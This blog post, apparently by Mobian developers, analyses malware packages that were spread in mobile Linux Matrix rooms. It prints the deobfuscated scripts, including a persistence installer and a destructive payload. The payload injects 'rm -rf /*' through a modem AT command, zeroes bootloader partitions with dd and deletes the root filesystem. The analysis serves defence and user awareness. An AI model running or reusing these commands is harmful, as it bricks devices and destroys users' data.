As you may be aware, a malicious person tried to spread malware through many Matrix rooms used by mobile Linux users and developers, partly taking advantage of a known vulnerability in the stock modem firmware. Here’s a quick analysis of how this malware was supposed to operate.

Disclaimer: while being enthusiastic nerds, none of the Mobian developers is a security expert. We hope this post will provide interesting information to the community but it shouldn’t be considered an exhaustive security report.

Please also note this was by no means a Mobian-only effort: in this post, we’re reporting the findings of the mobile Linux community as a whole, not claiming we did it all by ourselves.

A bit of context

The malware was uploaded to Matrix chat rooms in the form of an installable binary package:

  • .apk for postmarketOS
  • .deb for Mobian
  • .pkg.tar.zst for Arch/Manjaro

Multiple variants were posted such as coathanger or pp-tweaks but, a few cosmetic differences aside, they all work in the same way and embed the same malicious payload. In the rest of this post, we’ll take a closer look at the .deb package (obviously) of the pp-tweaks variant.

This file is an actual package suitable for installation using dpkg or apt. Its package metadata look valid and contain the following description:

Description: Tweaks for PinePhone and PinePhone Pro as well as various other
devices such as the Oneplus 6 and the Poco F1

Although it’s obvious that the package has been handcrafted rather than generated using the usual Debian packaging tools (no checksums included in the package metadata, for example), and except for the contents of the Maintainer field (layla289, maybe an Eric Clapton fan?), the package doesn’t look harmful at this point.

The following files are installed from this package:

  • /usr/bin/pp-tweaks-gtk
  • /usr/lib/pp-tweaks-postinstall

It also contains the following post-install script, automatically run by dpkg once the package files have been installed to the system:

#!/bin/sh

/usr/lib/pp-tweaks-postinstall

exit 0

While it’s not unusual for a Debian package to contain such a script, having it run only a newly installed executable is rather strange, especially if said executable is sitting in /usr/lib! The malware is therefore meant to operate that way:

  • user invokes sudo dpkg -i pp-tweaks.deb, granting dpkg root permissions (this is required, otherwise it won’t be able to copy files to the target directories)
  • dpkg extracts the files and runs the post-install script, which also has root privileges
  • pp-tweaks-postinstall is executed, obviously still with root privileges

The actual malware is therefore pp-tweaks-postinstall, pp-tweaks-gtk being probably just a distraction. However, the latter could give us useful information while being presumably safer to run, in case it can run at all.

Initial static analysis

Unix systems provide a number of useful commands by default, in particular:

  • file gives us information about the type of a given file
  • strings extracts all human-readable character strings from a binary file

In the case of pp-tweaks-*, file outputs the following:

pp-tweaks-gtk: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux),
statically linked, no section header

The files are statically linked so they don’t depend on libraries of the host system. This allows this binary to be executed on any ARM64 Linux device, no matter which distribution it runs.

Running strings reveals the following, among other things:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

We now know that those files are auto-extractible executables compressed using UPX. We can easily extract those by installing the appropriate software and can discover the resulting executables are also ARM64 ELF files, statically linked and stripped (all debug information removed, make them lighter but also more difficult to reverse-engineer).

strings doesn’t find anything of interest this time, but other variants contain the following noteworthy strings:

  • in coathanger-gtk:
purism still haven't refunded or shipped my librem 5.
diana, if you're reading this (which could be possible) i have to say that i love you!
  • in coathanger-postinstall:
i just want to say i love you diana!
purism why do you steal our money and run away with it?? refund our money or at least ship a development phone instead of nothing!!

Like us, you’re probably dying to know this Diana, but sadly we doubt that this will ever happen.

Some of our developers put out the big guns and decided to reverse-engineer the binaries1 using ghidra, which unfortunately didn’t bring any conclusive result, except for a growing perplexity when being faced with some of the algorithms appearing in those files.

Livin’ on the edge

In order to analyze more thoroughly the behaviour of those binaries, some of us took the calculated risk of running them in a controlled environment. The PinePhone can easily provide such an environment when you have a spare device, as many developers do:

  • wipe clean the internal eMMC
  • switch off all radios and peripheral hardware (4G modem, WiFi/Bluetooth, cameras) killswitches so all sensitive parts are physically disabled and login via UART/serial console is enabled, resulting in an effectively air-gapped device and suitable testing environment
  • flash an SD card with a new OS image and transfer the binary files onto it before booting the SD

Running pp-tweaks-gtk brings the following result:

mobian@mobian:~$ ./pp-tweaks-gtk
./pp-tweaks-gtk: 6: ldconfig: not found
./pp-tweaks-gtk: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared
object file: No such file or directory

Oddly enough, the static binary seems to try loading a shared library (which is exactly what static binaries never normally do). Faced with this weird behavior, we wanted to trace system calls, in case something interesting would pop up. At first sight, nothing noteworthy appears from executing strace ./pp-tweaks-gtk

However, the last few lines reveal interesting things:

write(1, "./pp-tweaks-gtk: error while loa"..., 132) = 132
exit_group(0)                           = ?
+++ exited with 0 +++

write() is called on file descriptor 1, which is the convention for stdout (standard output), whereas error message are usually directed to fd 2 (stderr, or standard error). Likewise, the program exits with code 0, which is the convention for “this program completed its task succesfully and didn’t encounter any major issue”.

This calls for a closer look, and we end up spotting the following suspicious line:

execve("/bin/sh", ["./pp-tweaks-gtk", "-c", "                                "...,
  "./pp-tweaks-gtk"], 0x7ffc53a1d8 /* 28 vars */) = 0

In particular, " "... refers to a string beginning with many whitespaces, truncated (by strace) for being too long. Re-running strace with the -s 10240 option (don’t truncate strings under 10K characters) gives us the following (removed most of the initial whitespaces and added newlines for clarity):

execve("/bin/sh", ["./pp-tweaks-gtk", "-c", "   ...(many many whitespaces)...
  #!/bin/sh\n\nmsgcode1=\"i just want to say that i love my gf\"\nmsgco
  de2=\"purism why you still have not shipped the librem 5??? stop maki
  ng money and ship your fucking phones!!!!\"\n\nif ldconfig -p | grep
  -q libgtk-x11-2.0.so\nthen\n\techo \"$0: error while loading shared l
  ibraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24
  \"\nelse\n\techo \"$0: error while loading shared libraries: libgtk-x
  11-2.0.so: cannot open shared object file: No such file or directory\
  "\nfi\n", "./pp-tweaks-gtk"], 0x7fd44fc6a8 /* 28 vars */) = 0

This strace “signature” is a characteristic of executables created by shc, a utility designed for embedding shell scripts into executable binary files. shc encrypts the script using the RC4 algorithm before embedding it into C code, effectively turning the clear-text script into (seemingly) meaningless binary data. This explains why we weren’t able to extract it using strings.

So in the end, pp-tweaks-gtk simply executes a shell script embedded (and obfuscated) inside the binary itself! Here’s the script in question:

#!/bin/sh

msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"

if ldconfig -p | grep -q libgtk-x11-2.0.so
then
	echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24"
else
	echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: No such file or directory"
fi

Oh, hello again, angry Romeo!

So what this script does is pretty simple: it prints what appears to be an error message (while it’s only what the program is meant to do) in order to fool the victim. Thankfully, while being a good example of poorly engineered software, this little script can’t do any harm, even if it were run as root. The other executable, however, is way more evil…

Main course

By doing the same on pp-tweaks-postinstall (but with -s 10000000 as the script is waaay bigger here), we can extract the following script:

#!/bin/sh
echo "Enabling tweaks daemon"

mkdir -p /usr/lib/gtk-3.0

echo "<376k base64-encoded data>" | base64 -d > /usr/lib/gtk-3.0/gtk-helper
chmod +x /usr/lib/gtk-3.0/gtk-helper

# systemd
if [ -f /usr/lib/systemd/systemd ]; then
	mkdir -p /usr/lib/systemd/system
	cat > /usr/lib/systemd/system/polkilt.service <<EOF
[Unit]
Description=Authorization Manager
Documentation=man:polkit(8)

[Service]
Type=simple
ExecStart=/usr/lib/gtk-3.0/gtk-helper

[Install]
WantedBy=multi-user.target
EOF
	systemctl enable polkilt.service > /dev/null 2>&1
fi

if [ -f /etc/inittab ]; then
	echo "tty9::respawn:/usr/lib/gtk-3.0/gtk-helper" >> /etc/inittab
fi

This script creates an executable called /usr/lib/gtk-3.0/gtk-helper and makes sure this executable is run on startup after each reboot. Another variant uses the --now option to systemctl enable, so the binary is started immediately (otherwise it won’t start until the user reboots).

This executable is, once again, a UPX-compressed file we can strace in order to retrieve the final script:

#!/bin/sh

msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"

while [ "$(date +)" -lt "$(date --date="2022-02-07T03:00:00" +)" ]; do
	sleep 60
done

if [ "$(date +)" -gt "$(date --date="2022-02-07T03:00:00" +)" ]; then

	if [ -e /dev/ttyUSB2 ]; then
	 { eval "$(echo "ZWNobyAtZSBBVCtRRlVNT0NGRz1cImRtYWNjXCIsXCJcYHNoIC1jIFwncm0gLXJmIC9cKlwnXGBcIlxcclxcbiA+IC9kZXYvdHR5VVNCMg==" | base64 -d)"; } &
	fi

	# remove qualcomm s/xbl
	for i in /dev/disk/by-partlabel/xbl*
	do
		[ -e "$i" ] || break
		dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
	done

	for i in /dev/disk/by-partlabel/sbl*
	do
		[ -e "$i" ] || break
		dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
	done

	# shellcheck disable=SC2115
	rm -rf /*
fi

The first part is a wait loop: for some reason, the author wants its malware to wait until 3am on Feb 7th before doing anything harmful.

Past this date, it checks if there’s a /dev/ttyUSB2 device (one of the ports exposed by the PinePhone’s modem, which can be used to send AT commands to the modem), in which case another piece of obfuscated (base64-encoded) code is executed. This data decodes into the following command:

echo -e AT+QFUMOCFG=\"dmacc\",\"\`sh -c \'rm -rf /\*\'\`\"\\r\\n > /dev/ttyUSB2

This command basically executes the following on the modem, wiping out all data:

sh -c 'rm -rf /*'

The goal here is obviously to brick the modem to the point where it needs to be manually put into EDL mode (by shorting 2 test points on the PinePhone’s main board) in order to be reflashed.

The next lines are even more vicious to some users: they clear any partition which name starts with xbl or sbl. Those partitions can be present on Qualcomm-based devices such as the OnePlus 6 or Pocophone F1. On those devices, the bootloader(s) are closed-source, signed binaries installed on dedicated partitions. Depending on the exact SoC used, those partitions can have various names, for example here are the relevant ones from the OnePlus 6:

  • xbl_a and xbl_b: Qualcomm’s UEFI bootloader, sets up secure boot and loads the next element in the boot chain
  • abl_a and abl_b: Android bootloader (UEFI application executed by XBL), loads and boots the kernel

Deleting those partitions would therefore make the phone unable to boot at all, likely ending up permanently bricking the device.

Notes:

  • devices using a different Qualcomm SoC will likely have different booloaders, just keep in mind those components are required for the device to boot at all
  • the OnePlus 6 uses an A/B partition scheme, devices not implementing this feature will present the same partitions, minus the _a and _b suffixes
  • sbl partitions are not present on the OnePlus 6 but can exist on devices with a different Qualcomm SoC

Finally, the script (tries to) delete the whole system currently running on the phone.

Why it doesn’t work

This malware has obviously not been really tested and exhibits a major flaw: the multiple levels of encapsulation (a shell script converted to an executable binary using shc, then encoded into base64 and included into another script, again converted to an executable binary) lead to a very large payload in pp-tweaks-postinstall. When executed, it exits with the following error:

mobian@mobian:~$ ./pp-tweaks-postinstall
./pp-tweaks-postinstall: Argument list too long: /bin/sh

This means the malware (/usr/lib/gtk-3.0/gtk-helper) cannot be extracted nor installed, and so shouldn’t cause any trouble.

Warning: this stunt has been performed by trained and experienced developers, don’t try this at home!

Conclusion

This malware is nothing more than an angry script-kiddy trying to clumsily exploit a known security vulnerability. The techniques used are rather basic and the lack of proper testing basically voids the whole effort.

This attempt fuels the often-heard advice that one shouldn’t blindly accept gifts from strangers, which proves even more true when dealing with software. Protecting oneself from such “attacks” is, in the end, as simple as following those rules:

  • never run a program from an unknown source, unless a trustworthy entity had a chance to analyze its source code and check it would indeed perform the function it’s advertised for without causing any harm to the user or its system
  • by extension, never install a package from an unknown and/or untrusted source
  • do not execute any software as root unless you’re absolutely convinced it can be trusted

This episode also emphasizes the lack of diligence from Quectel in fixing a known vulnerability. Thankfully, the community (personified in this case by @biktorgj) has developed an alternative firmware for the modem used by both the PinePhone and PinePhone Pro, in which this vulnerability has been patched out.

One question remains, though: who the hell is this Diana?